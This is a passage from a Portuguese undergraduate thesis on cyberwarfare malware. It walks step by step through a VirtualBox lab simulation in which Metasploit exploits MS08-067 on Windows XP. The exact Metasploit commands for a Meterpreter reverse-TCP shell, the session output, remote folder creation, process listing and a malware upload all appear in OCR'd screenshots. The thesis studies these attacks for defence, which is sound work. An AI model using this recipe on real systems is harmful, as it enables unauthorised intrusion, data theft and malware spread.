
Microsoft Windows XP service Pack 3 versdo 2002.

7.2.1 Acesso Remoto e Propagacao
Sera explorada a falha MS08-067 para demonstrar que por essa falha o Stuxnet pode
acessar o0 sistema, no caso o Windows XP, e se propagar pela rede, uma vez que esta
vulnerabilidade permite que ele se espalhe pela rede. Para isso a maquina Linux Kali tera
instalada a ferramenta Metasploit framework, o qual facilita os testes de penetracéo.
Para simular o ataque, primeiramente, serd necessario saber os IPs de cada maquina,

como pode ser observado na Figura 13, a qual faz a identificacdo do IP da méaquina atacante; e
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na Figura 14, a qual faz a identificacdo do IP da maquina alvo; visto que o comando usado no

Metasploit framework faz uso da identificagcdo dos enderecos para o ataque.

Figura 13 — Identificacdo de IP da maquina atacante

Kali - MINI_TCC [Executando] - Oracle VM VirtualBox

blicativos Locais f Qua 04 Mar, 15:10

Terminal

Arquivo Editar Ver Pesquisar Terminal Ajuda
‘"'__'”_ eth@ Link encap:Ethernet Endereco de HW 08:00:27:31:ee:al
Computer inet end.: 192.168.7.14 Bcast:192.168.7.255 Masc:255.255.255.0
enderego inet6: feB0::aB0:27ff:fe3l:eeal/64 Escopo:Link
enderego inet6: fd7e:1b8e:1bb9:0:a00:27ff:fe3l:eeal/64 Escopo:Global
UP BROADCASTRUNNING MULTICAST MTU:1500 Métrica:l
-/f”ﬂ'ﬂ’ﬁl RX packets:22 errors:0 dropped:0 overruns:0 frame:0
|
[
|

TX packets:29 errors:0 dropped:0 overruns:® carrier:0
colisdes:0 txqueuelen:1000
RX bytes:2617 (2.5 KiB) TX bytes:2529 (2.4 KiB)

Lo Link encap:Loopback Local
| inet end.: 127.0.0.1 Masc:255.0.0.0

“the quieter you become, the more you are able to hear”

Espaco de trabalho atual: "Espaco

[Terminal] Terminal

CROF 4 2

usen

Fonte: Elaboracgdo propria em 2015.
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Figura 14 — Identificacdo de IP da maquina alvo

TCC-HOST_XP [Executando] - Oracle VM VirtualBox

imagem

=

Compartilhamento

e\ CAWINDOWS\system32'cmd.exe 18

C:\Documents and Settings\TCC_XP>ipconfiyg {hcawa

Conf iguracdo de IP do Windows

Adaptador Ethernet Conexdo local:

Sufixo DNS especifico de conexdo . @

Endereco IP : 192.168.7.11
Miscara de sub-rede : 255.255.255.8
Gateway padrdo : 192.168.7.1

IC:\Documents and Settings\TCC_XP>

# Tniciar C:\WINDOWS' system... @792 s

8 ) @& 11| @ [®Right control

Fonte: Elaboragdo propria em 2015.

Quadro de Identificagéo de IP

Identificacdo de IP
Maquina Endereco IP
Maquina Alvo 192.168.7.11
Maquina Atacante 192.168.7.14

Fonte: Elaboracdo propria em 2015.

Depois de identificar os enderecos IPs de cada méaquina, serd iniciada a ferramenta
Metasploit framework. Apds inicia-la, sera indicada qual vulnerabilidade sera atacada, no caso
a MS08-067, para isso ¢ digitado o comando “use exploit/windows/smb/ms08_067_netapi”,

conforme mostra a Figura 15. Em seguida, € carregado o Payload, arquivo que contém o cédigo
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para explorar a vulnerabilidade. Com o comando “show payload” sera exibida uma lista de
cddigos que se pode usar.

Com o comando “set PAYLOAD windows/meterpreter/reverse_tcp” é carregado o
Payload que sera utilizado. Agora serdo identificados os IPs das maquinas envolvidas na

simulacéo.

Figura 15 — Iniciando Metasploit

Kali - MINI_TCC [Executando] - Oracle VM VirtualBox - 0

Aplicativos Locais t Qua 04 Mar, 15:20

Terminal

Arquivo Editar Ver Pesquisar Terminal Ajuda

LLLLL LULL L
MMMMMMMN NMMMMMMM
MMMMMMMMMNmmmNMMMMMMMMN
MMMMMMMMMMMMMMMMMMMMMMN
MMMMMMMMMMMMMMMMMMMMMMN
MMMMM  MMMMMMM  MMMMM
MMMMM  MMMMMMM ~ MMMMM
MMMNM ~ MMMMMMM  MMMMM
WMMMM ~ MMMMMMM  MMMM#
7MMNM LULL L
T 7MMM LLLLN
MM MM?

http://metasploit.pro

Taking notes in notepad? Have Metasploit Pro track & report
your progress and findings -- learn more on http://rapid7.com/metasploit

metasploit v4.11.1-2C 1 [caoreid.11.1.pre.201¢
--=[ 1405 ploits - 799 a y - 229 post 1
--=[ 361 payloads - 37 encoders - 8 nops ]
--=[ Free Metasploit Pro trial: http://r-7.co/trymsp ]

>
> use exploit/windows/smb/ms08_067_netapi
f exploit( ) > show payloads

Terminal [Terminal]

S ) @& 1L} @ [FlRright Control |

Fonte: Elaboracdo propria em 2015.

Para identificar a maquina do atacante, também chamada de LHOST, é digitado o
comando “set LHOST 192.168.7.14”. Para identificar a mdquina alvo/vitima, também
conhecida como RHOST, ¢ digitado “set RHOST 192.168.7.11”. Com essas configuragdes
realizadas basta digitar o comando “exploit”. Ao aparecer na tela “Meterpreter session 1 opened
(192.168.7.14:4444 -> 192.168.7.11:1058) at 2015-03-04 15:18:35 — 0300”, significa que foi
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aberta uma se¢do da maquina 192.168.7.14 (atacante) paraa maquina 192.168.7.11 (alvo). Feito

iss0, 0 atacante tem acesso a maquina alvo, conforme mostra a Figura 16.

Figura 16 — Configurando Metasploit

Aplicativos Locais ‘:

Kali - MINI_TCC [Executando] - Oracle VM VirtualBox

Qua 04 Mar, 15:23

Terminal

Arquivo Editar Ver Pesquisar Terminal Ajuda
windows/vncinject/reverse_http
HTTP Stage
vncinject/reverse_ipv6_tcp
| Stager (I
| wi vhcinject/reverse_nonx_tcp
se TCP Stager (No NX or Win7)

P Stager (No NX or Win7)
rse_tcp

rse_tcp_allports
TCP Stager
rse_tcp_dns
~ (DNS)
erse_tcp_rcé4
r (RC4 Stage Encryption)

)
rete erse_tcp
)

> set LHOST 192.168.7.14

exploit(
HOST => 192.168.7.14
) > set RHOST 192.168.7.11
.168.7.11
) > exploit

Started reverse handler on 192.168.7.14:4444
Automatically detecting the target...

pting to trigger the vulnerability...
Sending stage (770048 bytes) to 192.168.7.11

Imeterpreter > i

Terminal [Terminal]

normal

normal

normal

normal

normal

normal

normal

normal

> set PAYLOAD windows/meterpreter/reverse_tcp

Fingerprint: Windows XP - Service Pack 3 - lang:Portuguese - Brazilian
ected Target: Windows XP SP3 Portuguese - Brazilian (NX)

Meterpreter session 1 opened (192.168.7.14:4444 -> 192.168.7.11:1058) at 2015-03-04 15:18:35 -0300

C Server (Reflective Inject

er (Reflective
r (Reflective
~ (Reflective
r (Reflective
~ (Reflective

~ (Reflective

Server (Reflective Inject

S B3 @ FRright Control

Fonte: Elaboracao propria em 2015.

Com acesso a maquina o atacante pode navegar pelos diretorios livremente, podendo

roubar o contetdo de pastas, modificar arquivos e criar pastas, como se fosse 0 usuario da

maquina, assim como mostram a Figura 17 e a Figura 18. Também existe a possibilidade do

atacante ter acesso as fungdes do sistema, verificando processos abertos e explorando outras

vulnerabilidades.
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Figura 17 — Criando pasta remotamente

Aplicativos Locais f Qua 04 Mar, 15:27

Terminal

Arquivo Editar Ver Pesquisar Terminal Ajuda
windows/vncinject/reverse_nonx_tcp normal Server (Reflective
e TCP Stager (No NX or Win7)
vncinject/reverse_ord_tcp normal Server (Reflective
e Ordinal TCP Stager (No NX or Wi
vncinject/reverse_tcp normal Server (Reflective
, Reverse TCP Stager
indows/vncinject/reverse_tcp_allports normal Server (Reflective
|ion), Reverse All-Port TCP Stager
windows/vncinject/reverse_tcp_dns normal Server (Reflective
ion), R CP Stager (DNS)
indows/vncinject/reverse_tcp_rcé4 normal Server (Reflective

ion), Reverse TCP Stager (RC4 Stage Encryption)

msf exploit( ) > set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp
Imsf exploit( ) > set LHOST 192.168.7.14
192.168.7.14
ms f i ) set RHOST 192.168.7.11
RHOST => 192.168.7.11
Imsf exploit( ) exploit

Started reverse handler on 192.168.7.14:4444

Automatically detecting the target...

Fingerprint: Windows XP. - Service Pack 3 - lang:Portuguese - Br

Selected Target: ndows XP SP3 Portuguese - Brazilian (NX)

Attempting to trigger the vulnerability...

Sending stage (770048 bytes) to 192.168.7.11

Meterpreter session 1 opened (192.168.7.14:4444 -> 192.168.7.11:1058) at 2015-03-04 15:18:35 -0300

~ > pwd
C S\system32
meterpreter > mkdir ataqueKaliTCC
Creating directory: ataqueKaliTCC
meterpreter > |

Fonte: Elaboragdo propria em 2015.

Figura 18 — Pasta criada remotamente

NE

Arquivo  Editar  Exibir Favoritos Ferramentas Ajuda 1 o
|
Rkl
Enderego|__|C:\WINDOWS\system32 _'_I al'

ompartilhamento

Tarefas de arquivo e pasta S :I il
@[l Renomear esta pasta Atomi e T

& Mover esta pasta

[} Copiar esta pasta

&) Publicar esta pasta na Web // /’ //

k2 Compartihar esta pasta 1031 1033 1037
) Enviar por email os arquivos desta
pasta

¢ Excluir esta pasta J /l J
1041 1042 1046

Outros locais 2

) WINDOWS ] ] ]

() Meus documentos 1054 2052 3076

=) Documentos compartihados
¢ Meu computador

&) Meus locais de rede [ J -
ataqueKaliTCC CatRoot CatRoot2

Detalhes

IC:\Documents and Settings\TCC_XP>ipconfig

IConfiguracdo de IP do Windows

Adaptador Ethernet Conexdo local:

Sufixo DNS especifico de conexdo H

Enderapa TR a8 788 5 A ay i un i o 192.168.7.11
Mascara de sub-rede . . . . . . . . 255.255.255.80
Gateway padrdo. « « « =« =« &« = = = = = 192.168.7.1

IC:\Documents and Settin

Fonte: Elaboracgdo propria em 2015.




A Figura 19 e a Figura 20 mostram que ao executar o comando “PS” sdo listados os

processos em execucao e, neste caso, dentre eles estdo listados o ping e o media player.

Figura 19 — Execu¢do do comando “PS”

Aplicativos Locais Qua 04 Mar, 16:00

Terminal
Arquivo Editar Ver Pesquisar Terminal Ajuda

meterpreter > ps

Process List

User

[System Process]

System X : AUTORIDADE NTASYSTEM

cmd.exe ¢ CC-11B189CBBEBC\TCC_XP C:\WINDOWS\system32\cmd.e
1 ¢ Smss .exe X : AUTORIDADE NTASYSTEM \SystemRoot\System32\smss

csrss.exe X 0 AUTORIDADE NT\SYSTEM \??\C:\WINDOWS\system32\c

winlogon.exe ) ¢ AUTORIDADE NTASYSTEM \??AC:\WINDOWS\system32\w.
636 ervices.exe ) G AUTORIDADE NT\SYSTEM \WINDOWS\system32\servi

636 lsass.exe AUTORIDADE NT\SYSTEM \WINDOWS\system32\1lsass
680  svchost.ex 0 AUTORIDADE NTASYSTEM A\WINDOWS\system32\svchoq

680 svchost. x86 AUTORIDADE NT\NETWORK SERVICE \WINDOWS\system32\svcho

680  svchost.exe AUTORIDADE NTASYSTEM :\WINDOWS\System32\svcho

680  svchost.exe ) AUTORIDADE-NT\NETWORK SERVICE \WINDOWS\system32\svcho

680 svchost. : AUTORIDADE NT\LOCAL SERVICE :\WINDOWS\system32\svcho

680 alg.exe ORIDADE NT\LOCAL SERVICE :\WINDOWS\System32\alg.e
1592  wmplayer.exe : TCC-11B189CBEBCA\TCC_XP :\Arquivos de programas\
ows Media Playe .eXe
1460 B8 spoolsv.exe 0 AUTORIDADE NIASYSTEM C:A\WINDOWS\system3Z\spool
xe
1RG22 1572 _poxnlarer exe ) TCC-11R1R9CRARCN\TCC XP C-\WTINDOWS\Fxnlnrer FXF
1660 372 ping.exe g TCC—118189C868C\TCC:XP \WINDOWS\system32\ping.
Ibb4 bBU  SVChOST.exe X y AUTURIUADE NTA\SYSTEM CAWINDUWS\SYstem3Z\svcno

< >

Fonte: Elaboracdo propria em 2015.
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Figura 20 — Processos sendo executados

.%. Gerenciador de tarefas do Windos
Arquiva  OpeBes  Exibir  Desligar  Ajuda

Aplicativas  Processos !Desempenho I Rede l Usuarios i ath

No. 9 (Scherzo)

Mome da imagem Mome de usuario CPU | Uso dem...
svchost,exe SYSTEM uli} 4. 120K
wpabaln.exe TCC_ WP i} 2792 K
wscntfy exe TCC 5P oo 1.804 K
ctfmon.exe TCC P oo 2776 K
svchost.exe SYSTEM uli} 3260 K
explorer. exe TCC_ WP 23.240K

phon
svchost,exe LOCAL SERVICE uli} 6316 K
svichost,exe METWORK SERVICE 00 3385 K
svchost.exe SYSTEM uli} 24,340 K
svichost,exe METWORK SERVICE 00 4,025 K
svchost,exe SYSTEM uli} 4,865 K
lsass.exe SYSTEM uli} 1.016K
SErvices.exe SYSTEM uli} 3076 K
winlogon, exe SYSTEM oo 4,060 K
C5F55.EX8 SYSTEM uli} 3436 K
smss.exe SYSTEM 0o |sK |

™ Mostrar processos de todos os usudrios Einalizar processo |

|Processos: 23 |Uso de CPU: 0%

Tempo Total: 1115

Resposta de 192.168.7.14 tempo<{ims
Resposta de 192.168.7.1 tempo{ims
Resposta de 192.168.7.1 tempo{ims
Resposta de 192.168.7.1 tempo=ims
Resposta de 192.168.7.1 tempo{ims
Resposta de 192.168.7.1 hyte tempo{ims 4
Resposta de 192.168.7.14: bytes=32 tempo{ims TTL=64

Estatisticas do Ping para 192.168.7.14:

Pacotes: Enviacos = s, necepiaos = ¢, Perdidos = 8 (Bx de perda’.
Aproximar um nimero redondo de vezes em milissegundos:

Minimo = Bms. Maximo = ims, Média = Bms
Egntrol—c

C:sDocuments and Settings\TCC_EP>

= \
Fitniciarl BN cwinnowstsvetemz... | % Windnws Madia Plaver IIE) Caranciador de taref

< >

Fonte: Elaboragdo propria em 2015.

Levando para o lado do Stuxnet, com essa vulnerabilidade o Malware conseguiu acessar
maquinas na rede e identificar processos abertos. Ele também conseguiu identificar se a
maquina ja estava infectada e caso nao estivesse, faria uma copia do cddigo, conforme a Figura
21 e a Figura 22.
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Figura 21 — Transferindo Malware

Aplicativos Locais e B Qua 04 Mar, 16:20

Terminal

Arquivo Editar Ver Pesquisar Terminal Ajuda
meterpreter > upload -r

L*1 uploading : root/malwa
‘l *]1 uploaded /root/malwa
meterpreter > i

Fonte: Elaboracdo propria em 2015.

Figura 22 — Malware Transferido

imagem

Arquivo  Editar  Exibir

Tarefas de arquivo e pasta malware

_J Criar uma nova pasta

&& Publicar esta pasta na Web

gal Compartilhar esta pasta

Outros locais

w Disco local (C:)

() Meus documentos

) Documentos compartihados
4 Meu computador

J Meus locais de rede

Detalhes

Bimiciarl [ 1er N

Fonte: Elaboracgdo propria em 2015.
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8 RESULTADOS

A partir da analise realizada no Virus Total do Stuxnet e do Flame para saber a taxa de
deteccdo dos Malwares pelos antivirus encontrados no mercado atualmente, pode-se observar
que o mercado ndo consegue se atualizar a0 mesmo tempo que 0s avangos tecnoldgicos
acontecem e nem na mesma velocidade que surgem novas tecnologias e novas ameagas.

Por meio da simulacéo realizada foi possivel acompanhar o passo a passo realizado
pelos invasores e, assim, perceber o poder de destruicdo que os Malwares possuem. Diante
disso, tém-se a necessidade de tracar estratégias de defesa para responder a estes ataques.

E de fundamental importancia os paises construirem uma infraestrutura de tecnologia
da informacdo e comunicacao para a sua defesa em um possivel ataque cibernético ou uma
guerra cibernética.

Com o estudo e a simulacdo apresentados neste trabalho foi possivel conhecer a
importancia da seguranca no ambiente de TIC, atentando sobre a seguranca cibernética de uma
nacao, os efeitos ocasionados caso haja uma falha na protecdo dos dados do pais. Também foi
possivel aprofundar o conhecimento sobre Malwares e exemplificar o seu potencial como uma

arma em guerras cibernéticas e os problemas causados por seu uso.
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9 CONCLUSAO

A guerra cibernética ¢ a mais pura realidade. As nacles ja estdo se preparando com
treinamento, capacitacdo e desenvolvimento para uma guerra cibernética. Por ser uma arma
silenciosa, que permite ocultacdo dos passos e a ndo identificacdo do seu responsavel, o
Malware é uma maneira apta e precisa de ataque em uma guerra cibernética. Ele mostra ser um
tipo de ataque efetivo, de poder destrutivo e de ampla escala.

A tendéncia é que a cada dia mais 0 nimero de casos de ataques cibernético patrocinados
por nacdes venha surgir. Cada um com mais sofisticagdo, mais inteligéncia, maior
maleabilidade e com alvos cada vez mais especificos.

Logo, este trabalho traz como contribui¢cdo o conhecimento do passo a passo de uma
invasdo para a obtencdo de dados sigilosos e, assim, identificar as principais vulnerabilidades
dos sistemas para que possam ser corrigidas, diminuindo, assim, o poder de destruicdo dos
ataques.

Uma vez conhecidas as vulnerabilidades, é possivel corrigi-las e tornar o sistema mais
seguro, diminuindo, assim, a entrada do invasor nele.

E de fundamental importancia conhecer os tipos de Malwares existentes e a forma como
estes conseguem entrar nos sistemas e roubar os seus dados. Diante disso, tém-se a necessidade
de que haja um grande investimento na area de seguranca da informacéo para que seja possivel
se atualizar na mesma velocidade que surgem novas ameacas e ser capaz de combaté-las a
tempo.

Como sugestdo de trabalhos futuros, propde-se a simulacéo de ataques com o Flame e
com outros Malwares existentes, para que seja possivel conhecer as suas formas de ataques aos

sistemas e de quais vulnerabilidades eles se utilizam.
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